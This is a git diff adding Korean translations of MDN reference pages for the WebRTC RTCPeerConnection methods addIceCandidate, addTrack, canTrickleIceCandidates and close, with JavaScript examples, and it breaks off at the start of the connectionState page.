+<p>이전 버전의 문서에서는 이 함수를 콜백 기반으로 사용하도록 되어있습니다. 콜백 기반 함수는 이제 더 이상 사용되지 않으며, 사용하지 않는 것을 권장합니다. 이미 사용 중이라면, {{jsxref("Promise")}} 버전인 <code>addIceCandidate()</code>를 사용하도록 코드를 업데이트 하십시오. 이전 버전의 코드를 업데이트 하는 것을 쉽게 하기 위해 고안된 <code>addIceCandidate()</code>의 특정 변수에 대해 아래에서 설명합니다.</p>
+
+<dl>
+ <dt><code>successCallback</code> {{deprecated_inline}}</dt>
+ <dd>ICE candidate가 성공적으로 추가되었을 때에 호출되는 함수입니다. 이 함수는 입력 변수가 없으며, 아무런 값도 반환하지 않도록 되어있습니다. </dd>
+ <dt><code>failureCallback</code> {{deprecated_inline}}</dt>
+ <dd>ICE candidate 추가 시도가 실패하면 호출되는 함수입니다. 실패에 대한 이유를 설명하는 객체인 {{domxref("DOMException")}}을 입력 변수로 받습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("Promise")}}는 candidate가 ICE 에이전트에 의해 원격 유저의 설명 (description)에 성공적으로 추가되면 fulfilled 됩니다. 프로미스는 입력 변수가 없습니다.</p>
+
+<h3 id="예외_처리">예외 처리</h3>
+
+<p>ICE candidate 추가 시도 중 에러가 발생하면, 이 메소드에서 반환되는 {{jsxref("Promise")}}는 거절됩니다. 그리고 거절 핸들러로 전달되는 지정된 {{domxref("DOMException")}} 객체안에 존재하는 {{domxref("DOMException.name", "name")}} 속성으로 아래의 에러 중 하나를 반환하게 됩니다.</p>
+
+<dl>
+ <dt><code>TypeError</code></dt>
+ <dd>명시한 candidate의 {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} 및{{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}가 모두 <code>null</code> 입니다.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>현재 <code>RTCPeerConnection</code>은 어떠한 원격 유저와도 연결이 되어있지 않습니다. {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}} 값이 <code>null</code>입니다.</dd>
+ <dt><code>OperationError</code></dt>
+ <dd>이 에러는 여러가지 이유 때문에 발생합니다:
+ <ul>
+  <li>지정된 {{domxref("RTCIceCandidate.sdpMid", "sdpMid")}} 값이 non-<code>null</code>이고, {{domxref("RTCPeerConnection.remoteDescription", "remoteDescription")}}안에 존재하는 어떠한 미디어 description의 미디어 ID와도 일치하지 않음</li>
+  <li>지정된 {{domxref("RTCIceCandidate.sdpMLineIndex", "sdpMLineIndex")}}의 값이 원격 설명 (description)에 포함된 미디어의 숫자와 같거나 큼</li>
+  <li>지정된 {{domxref("RTCIceCandidate.usernameFragment", "ufrag")}}가 어떠한 원격 설명 (description) 안의 <code>ufrag</code> 필드와 일치하지 않음</li>
+  <li>{{domxref("RTCIceCandidate", "candidate")}} 문자열에 존재하는 하나 혹은 여러개의 값들이 올바르지 않거나, 파싱 될 수 없음</li>
+  <li>어떠한 이유에서던 candidate를 추가하려는 시도가 실패<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 코드는 임의의 signaling 채널을 통해 어떻게 ICE candidate를 알리는지를 보여줍니다.</p>
+
+<pre class="brush: js">// 본 예제는 다른 유저가 아래와 같은 signaling 채널을 사용한다고 가정합니다:
+//
+// pc.onicecandidate = event =&gt; {
+//   if (event.candidate) {
+//     signalingChannel.send(JSON.stringify({ice: event.candidate})); // "ice" is arbitrary
+//   } else {
+//     // All ICE candidates have been sent
+//   }
+// }
+
+signalingChannel.onmessage = receivedString =&gt; {
+  const message = JSON.parse(receivedString);
+  if (message.ice) {
+    // A typical value of ice here might look something like this:
+    //
+    // {candidate: "candidate:0 1 UDP 2122154243 192.168.1.9 53421 typ host", sdpMid: "0", ...}
+    //
+    // Pass the whole thing to addIceCandidate:
+
+    pc.addIceCandidate(message.ice).catch(e =&gt; {
+      console.log("Failure during addIceCandidate(): " + e.name);
+    });
+  } else {
+    // handle other things you might be signaling, like sdp
+  }
+}</pre>
+
+<p>원격 유저에 의해 이러한 방식으로 신호를 전달한 마지막 candiate는 "candidate 종료"를 나타내는 특수한 candidate가 됩니다. "candidate 종료"를 수동으로 설정하려면 다음과 같이 하면 됩니다:</p>
+
+<pre class="brush: js">pc.addIceCandidate({candidate:''});
+</pre>
+
+<p>하지만, 대부분의 경우 {{domxref("RTCPeerConnection")}}가 적절한 이벤트를 보내서 처리해주기 때문에 이를 수동으로 확인해야 할 필요는 없습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-addIceCandidate-Promise-void--RTCIceCandidateInit-RTCIceCandidate-candidate', 'RTCPeerConnection.addIceCandidate()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebRTC 1.0", "#widl-RTCPeerConnection-addIceCandidate-void-RTCIceCandidateInit-RTCIceCandidate-candidate-VoidFunction-successCallback-RTCPeerConnectionErrorCallback-failureCallback", "RTCPeerConnection.addIceCandidate()")}} {{deprecated_inline}}</td>
+   <td>{{Spec2("WebRTC 1.0")}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.addIceCandidate")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">WebRTC architecture overview</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/addtrack/index.html b/files/ko/web/api/rtcpeerconnection/addtrack/index.html
new file mode 100644
index 0000000000..50a493a188
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/addtrack/index.html
@@ -0,0 +1,208 @@
+---
+title: RTCPeerConnection.addTrack()
+slug: Web/API/RTCPeerConnection/addTrack
+translation_of: Web/API/RTCPeerConnection/addTrack
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}}의 메소드인 <strong><code>addTrack()</code></strong>은 다른 유저에게 전송될 트랙들의 묶음에 신규 미디어 트랙을 추가합니다.</span></p>
+
+<div class="note">
+<p><strong>참조:</strong> 연결 인터페이스에 트랙을 추가하게되면, {{event("negotiationneeded")}} 이벤트를 발생시켜 renegotiation을 하게 만듭니다. 자세한 사항은 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Starting negotiation")}} 를 참조하십시오.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>rtpSender</em> = RTC<em>PeerConnection</em>.addTrack(<em>track</em>, <em>stream...</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>track</code></dt>
+ <dd>피어 연결에 추가될 미디어 트랙을 나타내는 {{domxref("MediaStreamTrack")}} 객체입니다.</dd>
+ <dt><code>stream...</code> {{optional_inline}}</dt>
+ <dd>트랙이 추가 되어야하는 하나 혹은 여러개의 로컬 {{domxref("MediaStream")}} 객체입니다.</dd>
+</dl>
+
+<p>지정된 <code>track</code> 는 꼭 지정된 <code>stream</code>s의 일부가 아니여도 됩니다. <code>stream</code>s은 단지 연결을 받는 쪽에서 트랙을 그룹으로 묶고 동기화하는 방법입니다. 연결의 로컬 쪽에 존재하는 동일한 stream에 추가된 트랙들은 원격 쪽에서 같은 stream에 존재하게됩니다. </p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCRtpSender")}} 객체는 미디어 데이터를 전송하기위해 사용됩니다. </p>
+
+<div class="note">
+<p><strong>참조:</strong> 모든 RTCRtpSender는 {{domxref("RTCRtpTransceiver")}}를 구성하기 위해서 {{domxref("RTCRtpReceiver")}}와 함께 짝을 이룹니다.  관련이 있는 리시버는 원격 유저가 리시버에 하나 혹은 여러개의 스트림을 추가하지 않는 이상 mute 상태입니다. mute 상태에서는 패킷을 전달 할 수 없습니다. </p>
+</div>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>InvalidAccessError</code></dt>
+ <dd>지정한 트랙 (혹은 모든 스트림)이 이미 {{domxref("RTCPeerConnection")}}의 일부임을 알려줍니다.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>{{domxref("RTCPeerConnection")}}가 이미 종료되었음을 알려줍니다.</dd>
+</dl>
+
+<h2 id="사용법">사용법</h2>
+
+<h3 id="여러개의_스트림에_트랙_추가하기">여러개의 스트림에 트랙 추가하기</h3>
+
+<p><code>addTrack()</code> 메소드는 <code>track</code>과 <code>streams</code>을 매개변수로 받습니다. <code>track</code> 매개변수를 정의한 다음에, 하나 혹은 여러개의 {{domxref("MediaStream")}} 객체를 지정해서 트랙을 어디에 추가 할지 지정이 가능합니다. 이때, 스트림이 아니라 트랙만 다른 유저에게 전달됩니다. 스트림은 각 유저별로 특정되어있기 때문에, 하나 혹은 여러개의 스트림을 지정한다는 것은 트랙을 받는 유저가 연결의 다른 쪽에 해당하는 스트림을 자동으로 생성할 것이라는 뜻입니다. 그리고나서 받은 트랙을 자동으로 해당 스트림에 추가하게 됩니다. </p>
+
+<h4 id="스트림이_없는_트랙">스트림이 없는 트랙</h4>
+
+<p>스트림을 명시하지 않으면, 해당 트랙은 <strong>streamless </strong>상태입니다. 트랙을 어느 스트림에 추가 할지는 원격유저가 결정하지만, 이대로 사용해도 문제는 없습니다.  <strong>streamless</strong> 트랙은 <code>addTrack()</code>을 가장 손쉽게 사용하는 방법으로, 하나의 스트림만 필요한 아주 간단한 어플케이션을 만드는데 사용됩니다. 예를 들자면,오디오와 비디오 트랙이 존재하는 단일 스트림을 원격 유저와 공유하고 싶은 경우, 어떤 스트림에 무슨 트랙이 있는지 관리 할 필요 없이 트랜시버 (transceiver)가 처리하도록 맡길 수 있습니다. </p>
+
+<p>아래 예시는 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}를 사용해서 유저의 카메라와 마이크에서 스트림을 가져오는 함수입니다. 그리고 각각의 트랙에 대한 스트림을 지정하지 않고, 스트림에서 피어 연결로 각 트랙을 추가합니다: </p>
+
+<pre class="brush: js">// 비동기 함수 정의
+async openCall(pc) {
+  // getUserMedia는 비동기적으로 처리됨
+  const gumStream = await navigator.mediaDevices.getUserMedia(
+                          {video: true, audio: true});
+  for (const track of gumStream.getTracks()) {
+    // 스트림을 따로 지정하지 않고, 트랙을 추가
+    pc.addTrack(track);
+  }
+}</pre>
+
+<p>위 함수의 결과로 트랙 묶음이 스트림 없이 원격 유저에게 전달됩니다. 모든 트랙들이 동일한 스트림에 추가된다 하더라도, 원격 유저의 {{event("track")}}이벤트 핸들러가 각 트랙을 어느 스트림에 추가 할지를 결정합니다. {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 핸들러는 아래와 같이 작성 될 수 있습니다:</p>
+
+<pre class="brush: js">let inboundStream = null;
+
+pc.ontrack = ev =&gt; {
+  if (ev.streams &amp;&amp; ev.streams[0]) {
+    videoElem.srcObject = ev.streams[0];
+  } else {
+    if (!inboundStream) {
+      inboundStream = new MediaStream();
+      videoElem.srcObject = inboundStream;
+    }
+    inboundStream.addTrack(ev.track);
+  }
+}</pre>
+
+<p>여기서 <code>track</code> 이벤트 핸들러는 스트림을 명시한 경우, 이 이벤트에서 명시한 첫 번째 스트림에 트랙을 추가합니다. 그렇지 않은 경우에는 <code>ontrack</code>이 처음 호출되는 순간에 신규 스트림이 생성되고 비디오 엘리먼트에 부착된 다음에서야 트랙이 신규 스트림에 추가됩니다. 이때부터 신규 랙이 해당 스트림에 추가됩니다.</p>
+
+<p>또한, 각각의 트랙을 받을 때 마다, 신규 스트림을 만들 수 있습니다:</p>
+
+<pre class="brush: js">pc.ontrack = ev =&gt; {
+  if (ev.streams &amp;&amp; ev.streams[0]) {
+    videoElem.srcObject = ev.streams[0];
+  } else {
+    let inboundStream = new MediaStream(track);
+    videoElem.srcObject = inboundStream;
+  }
+}</pre>
+
+<h4 id="특정_스트림에_트랙_연동하기">특정 스트림에 트랙 연동하기</h4>
+
+<p>스트림을 명시하고 {{domxref("RTCPeerConnection")}}가 스트림을 만들 수 있도록 허용하면, WebRTC 인프라에 의해 스트림의 트랙들이 자동으로 연동됩니다. 이는 트랜시버의 {{domxref("RTCRtpTransceiver.direction", "direction")}}를 변경하거나, {{domxref("RTCPeerConnection.removeTrack", "removeTrack()")}}를 사용해서 트랙을 멈추는 것도 포함합니다.</p>
+
+<p>예를 들어, 아래의 함수는 어플리케이션이 {{domxref("RTCPeerConnection")}}를 통해 미디어 장치의 카메라 및 마이크 입력을 원격 유저에게 스트리밍을 시작하도록 사용 될 수 있습니다:</p>
+
+<pre class="brush: js">async openCall(pc) {
+  const gumStream = await navigator.mediaDevices.getUserMedia(
+                          {video: true, audio: true});
+  for (const track of gumStream.getTracks()) {
+    pc.addTrack(track, gumStream);
+  }
+}</pre>
+
+<p>아래와 같이, 원격 유저는 {{event("track")}} 이벤트 핸들러를 사용 할 수 있습니다:</p>
+
+<pre class="brush: js">pc.ontrack = ({streams: [stream]} =&gt; videoElem.srcObject = stream;</pre>
+
+<p>위의 코든 연결 인터페이스에 이미 추가 되었던 트랙을 가지고 있는 현재 스트림에 비디오 엘리먼트 설정합니다.</p>
+
+<h3 id="재사용되는_senders">재사용되는 senders</h3>
+
+<p>이 메소드는 신규 <code>RTCRtpSender</code> 를 반환하거나, 아직 데이터를 송신하지 않은 이미 존재하던 호환 가능한 sender를 특정 조건아래 반환합니다. 호환성 및 재사용성이 있는 <code>RTCRtpSender</code> 인스턴스는 아래의 조건들을 만족해야합니다:</p>
+
+<ul>
+ <li>sender와 이미 연동된 트랙이 없어야합니다.</li>
+ <li>sender와 연동된 {{domxref("RTCRtpTransceiver")}}가 {{domxref("MediaStreamTrack")}}를 명시하는 {{domxref("RTCRtpReceiver.track", "track")}} 속성을 가지고 있습니다. 여기서 {{domxref("MediaStreamTrack")}}의 {{domxref("MediaStreamTrack.kind", "kind")}}는 <code>RTCPeerConnection.addTrack()</code>의 호출에서 발생하는 <code>track</code> 매개변수의 <code>kind</code>와 같습니다. 이 방법으로 트랜시버가 오디오랑 비디오를 동시에 처리하지 않고, 각각 처리하도록 보장 할 수 있습니다. </li>
+ <li><code>RTCRtpTransceiver</code>의 {{domxref("RTCRtpTransceiver.stopped", "stopped")}} 속성이 <code>false</code> 입니다.</li>
+ <li><code>RTCRtpSender</code>가 데이터를 한 번도 보낸적이 없는 것으로 간주됩니다. 만약 트랜시버의 {{domxref("RTCRtpTransceiver.currentDirection", "currentDirection")}}가 한 번이라도 <code>"sendrecv"</code> 혹은 <code>"sendonly"</code>였다면, sender는 재사용이 불가능합니다.</li>
+</ul>
+
+<p>위의 조건들을 모두 만족하게되면, sender가 재사용되어 이미 존재하던 <code>RTCRtpSender</code> 및 <code>RTCRtpTransceiver</code> 에 아래와 같은 변경사항이 적용됩니다: </p>
+
+<ul>
+ <li><code>RTCRtpSender</code>의 {{domxref("RTCRtpSender.track", "track")}}가 지정된 트랙으로 설정됩니다.</li>
+ <li>이 메소드의 <code>stream...</code>에 전달된 스트림 리스트에 sender에 부착되어있던 스트림들이 설정됩니다.</li>
+ <li>부착된 {{domxref("RTCRtpTransceiver")}}의 <code>currentDirection</code>이 업데이트된 전송 정보를 포함합니다. 현재 값이 <code>"recvonly"</code>였다면, <code>"sendrecv"</code>로 변하게되고, 현재 값이 <code>"inactive"</code>면, <code>"sendonly"</code>로 변하게됩니다. </li>
+</ul>
+
+<h3 id="신규_senders">신규 senders</h3>
+
+<p>재사용가능한 sender가 없으면, 신규 sender가 생성됩니다. 신규로 생성되면, 꼭 있어야하는 관련된 객체들도 생성됩니다. 이 과정에서 다음과 같은 변화가 발생합니다:</p>
+
+<ul>
+ <li>신규 <code>RTCRtpSender</code>가 지정된 <code>track</code> 및 <code>stream</code>(s)과 함께 만들어집니다.</li>
+ <li>신규{{domxref("RTCRtpReceiver")}}가 {{domxref("RTCRtpReceiver.track", "track")}} 속성으로 {{domxref("MediaStreamTrack")}} 가지도록 함께 만들어집니다. 이때, 트랙은 <code>addTrack()</code> 호출에서 매개변수로 지정된 트랙이 아닙니다. 이 트랙의 {{domxref("MediaStreamTrack.kind", "kind")}}는 입력 매개변수로 제공된 트랙의 <code>kind</code>와 일치하도록 설정됩니다.</li>
+ <li>신규 {{domxref("RTCRtpTransceiver")}}가 생성되고, 신규 sender 및 receiver에 부착됩니다.</li>
+ <li>신규 transceiver의 {{domxref("RTCRtpTransceiver.direction", "direction")}}는 <code>"sendrecv"</code>로 설정됩니다.</li>
+ <li>신규 transceiver는 <code>RTCPeerConnection</code>의 transceiver 세트에 추가됩니다.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 코드는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> 문서에서 가져온 코드입니다. 이 코드는 <code>handleVideoOfferMsg()</code>메소드에서 제공되는 것으로, offer 메세지가 원격 유저에서 수신되면 호출됩니다.</p>
+
+<pre class="brush: js">var mediaConstraints = {
+  audio: true,            // We want an audio track
+  video: true             // ...and we want a video track
+};
+
+var desc = new RTCSessionDescription(sdp);
+
+pc.setRemoteDescription(desc).then(function () {
+  return navigator.mediaDevices.getUserMedia(mediaConstraints);
+})
+.then(function(stream) {
+  previewElement.srcObject = stream;
+
+  stream.getTracks().forEach(track =&gt; pc.addTrack(track, stream));
+})</pre>
+
+<p>위의 코드는 SDP를 원격 유저로부터 수신 받아서 신규 {{domxref("RTCSessionDescription")}}를 만들고 {{domxref("RTCPeerConnection.setRemoteDescription", "setRemoteDescription()")}}로 전달합니다. <code>pc.setRemoteDescription(desc)</code>의 실행이 성공하게되면, {{domxref("MediaDevices.getUserMedia()")}}를 사용해서 로컬 유저의 웹캠과 마이크에 대한접근 권한을 얻습니다. 앞의 과정이 성공하게되면, 스트림은 {{HTMLElement("video")}} 엘리먼트를 위한 소스로 지정됩니다. 이 스트림은 <code>previewElement</code>변수를 통해 참조가 가능해집니다.</p>
+
+<p>마지막으로 피어 연결을 통헤 caller에게 로컬 비디오 전달을 시작합니다. 이 과정은 {{domxref("MediaStream.getTracks()")}}에 의해 반환된 리스트를 iterate하고, 이들을 구성하는 <code>stream</code>과 함께 <code>addTrack()</code>에 전달되어 스트림에 각각의 트랙들을 추가합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-addtrack', 'RTCPeerConnection.addTrack()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.addTrack")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Intro_to_RTP">Introduction to the Real-time Transport Protocol (RTP)</a></li>
+ <li>{{domxref("RTCPeerConnection.ontrack")}}</li>
+ <li>{{event("track")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
new file mode 100644
index 0000000000..e9dbc9f893
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html
@@ -0,0 +1,87 @@
+---
+title: RTCPeerConnection.canTrickleIceCandidates
+slug: Web/API/RTCPeerConnection/canTrickleIceCandidates
+translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">읽기 속성인 <strong>{{domxref("RTCPeerConnection")}}</strong> 속성의 <code><strong>canTrickleIceCandidates</strong></code>는 원격유저가 <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>를 승인 할 수 있는지의 여부를 알려주는 {{jsxref("Boolean")}}을 반환합니다.</span></p>
+
+<p><strong>ICE trickling</strong> 은 초기 offer 혹은 answer를 다른 유저에게 이미 전달을 했음에도 계속해서 candidate를 보내는 과정을 뜻합니다.</p>
+
+<p>이 속성은 {{domxref("RTCPeerConnection.setRemoteDescription()")}}가 호출된 후에만 설정됩니다. Signaling 프로토콜이 trickling 지원을 감지하는 방법을 제공해서 이 속성에 의존 할 필요가 없이 하는 것이 가장 좋은 방법입니다. WebRTC 브라우저는 항상 trickle ICE를 지원하게 되어있습니다. 하지만 몇몇 경우에 trickling이 지원이 되지 않거나 애초에 지원하는지를 알 수 없다면, 이 속성의 값이 이상한지 확인하고, 또한 초기 offer를 생성하고 전달하기 이전에 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 <code>"completed"</code>로 바뀌기전까지 기다릴 수 있습니다. 이러한 방식으로 offer에 모든 candidate들이 포함되도록 만들 수 있습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{jsxref("Boolean")}}는 원격 유저가 trickled ICE candidate를 수용 할 수 있으면 <code>true </code>값이고, 그렇지 않으면 <code>false </code>값 입니다. 이미 원격 유저가 생성되었으면, 이 값은 <code>null</code> 입니다.</p>
+
+<div class="note">
+<p><strong>참조:</strong> 이 속성의 값은 로컬 피어가 {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출하게 되면 결정됩니다. 여기에서 제공된 정보를 사용해서 ICE agent가 원격 유저가 trickled ICE candidate를 지원하는지에 대한 여부를 결정해줍니다.</p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+// The following code might be used to handle an offer from a peer when
+// it isn't known whether it supports trickle ICE.
+pc.setRemoteDescription(remoteOffer)
+  .then(_ =&gt; pc.createAnswer())
+  .then(answer =&gt; pc.setLocalDescription(answer))
+  .then(_ =&gt;
+    if (pc.canTrickleIceCandidates) {
+      return pc.localDescription;
+    }
+    return new Promise(r =&gt; {
+      pc.addEventListener('icegatheringstatechange', e =&gt; {
+        if (e.target.iceGatheringState === 'complete') {
+          r(pc.localDescription);
+        }
+      });
+    });
+  })
+  .then(answer =&gt; sendAnswerToPeer(answer)) // signaling message
+  .catch(e =&gt; handleError(e));
+
+pc.addEventListener('icecandidate', e =&gt; {
+  if (pc.canTrickleIceCandidates) {
+    sendCandidateToPeer(e.candidate); // signaling message
+  }
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-canTrickleIceCandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection.addIceCandidate()")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/close/index.html b/files/ko/web/api/rtcpeerconnection/close/index.html
new file mode 100644
index 0000000000..763beca7d4
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/close/index.html
@@ -0,0 +1,72 @@
+---
+title: RTCPeerConnection.close()
+slug: Web/API/RTCPeerConnection/close
+translation_of: Web/API/RTCPeerConnection/close
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.close()</strong></code> 메소드로 피어 연결을 종료합니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.close();
+</pre>
+
+<p><em>이 메소드는 입력 패러미터가 없으며, 반환 값도 없습니다.</em></p>
+
+<p>이 메소드를 호출하게되면, 모든 진행 중인 ICE 프로세싱 및 활성화된 스트림을 종료하고, <code>RTCPeerConnection</code>의 ICE 에이전트를 종료합니다. 이 방법으로 ICE 에이전트에 의해 사용되는 리소스들 (TURN 허가 포함) 을 해제시킵니다. 모든 {{domxref("RTCRtpSender")}} 객체들은 이 메소드가 반환되면 정지됩니다. (아직 종료 중인 과정에 있을 수도 있습니다만, 사실상 정지됩니다.)</p>
+
+<p>이 메소드가 반환되면, {{domxref("RTCPeerConnection.signalingState")}}에 의해 반환된 signaling 상태가 <code>closed</code>로 됩니다.</p>
+
+<p>같은 원격 유저와의 새로운 연결 생성을 시도하기전에 이전에 존재하던 {{domxref("RTCPeerConnection")}}의 모든 참조 값들을 <code>delete</code>하십시오. 삭제되지 않은 참조 값들이 브라우저에서 오류를 초래 할 수 있습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+var dc = pc.createDataChannel("my channel");
+
+dc.onmessage = function (event) {
+  console.log("received: " + event.data);
+  pc.close(); // 첫 메세지를 받으면, 연결을 종료
+};
+
+dc.onopen = function () {
+  console.log("datachannel open");
+};
+
+dc.onclose = function () {
+  console.log("datachannel close");
+};</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-close-void', 'RTCPeerConnection.close()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.close")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li>{{domxref("RTCPeerConnection.signalingState")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/connectionstate/index.html b/files/ko/web/api/rtcpeerconnection/connectionstate/index.html
new file mode 100644
index 0000000000..a675cef4cb
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/connectionstate/index.html
@@ -0,0 +1,111 @@
+---
+title: RTCPeerConnection.connectionState
+slug: Web/API/RTCPeerConnection/connectionState
+translation_of: Web/API/RTCPeerConnection/connectionState
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>{{domxref("RTCPeerConnection")}} 인터페이스의 읽기 속성인 <strong><code>connectionState</code></strong>는 피어 연결의 현재 상태를 알려줍니다. 이 속성은 <code><a href="#RTCPeerConnectionState_enum">RTCPeerConnectionState</a></code> enum 값 중 하나를 문자열로 반환해줍니다.</p>
+
+<p>만약 이 속성의 값이 바뀌게되면, {{domxref("RTCPeerConnection")}} 인스턴스로 {{event("connectionstatechange")}} 이벤트가 전송됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>connectionState</em> = <em>RTCPeerConnection</em>.connectionState;</pre>
+
+<h3 id="값">값</h3>
+
+<p>연결의 현재 상태를 <code><a href="#RTCPeerConnectionState_enum">RTCPeerConnectionState</a></code> enum의 값 중 하나로 표시합니다.</p>
+
+
+
+<h3 id="RTCPeerConnectionState_enum">RTCPeerConnectionState enum</h3>
+
+<p><code>RTCPeerConnectionState</code> enum은 <code>RTCPeerConnection</code>이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다. </p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">상수명</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"new"</code></td>
+   <td>
